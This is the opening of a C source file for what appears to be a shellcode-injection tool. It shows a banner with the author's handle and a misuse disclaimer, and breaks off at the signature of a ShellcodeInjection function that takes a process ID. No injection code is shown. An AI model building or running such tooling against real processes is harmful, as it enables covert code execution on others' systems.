| 1 | #include "injection.h" |
| 2 | |
| 3 | VOID PrintBanner(VOID) { |
| 4 | printf( |
| 5 | " ______ ____ __ ____ _ __ _ \n" |
| 6 | " / __/ / ___ / / /______ ___/ /__ / _/__ (_)__ ____/ /_(_)__ ___ \n" |
| 7 | " _\\ \\/ _ \\/ -_) / / __/ _ \\/ _ / -_) _/ // _ \\ / / -_) __/ __/ / _ \\/ _ \\ \n" |
| 8 | " /___/_//_/\\__/_/_/\\__/\\___/\\_,_/\\__/ /___/_//_/_/ /\\__/\\__/\\__/_/\\___/_//_/ \n" |
| 9 | " |___/ \n\n" |
| 10 | " /*! \n" |
| 11 | " * made with love and a bit of malice <3 \n" |
| 12 | " * -> https://www.crow.rip, @cr-0w, crow@crow.rip \n" |
| 13 | " * \n" |
| 14 | " * disclaimer: I am not the author of this technique, this is just *my* implementation of it.\n" |
| 15 | " * warning: I am not responsible for what you do with this program. use this responsibly! \n" |
| 16 | " * enjoy, nerds. lots o' luv. \n" |
| 17 | " */ \n\n" |
| 18 | ); |
| 19 | } |
| 20 | |
| 21 | BOOL ShellcodeInjection( |
| 22 | _In_ CONST DWORD PID, |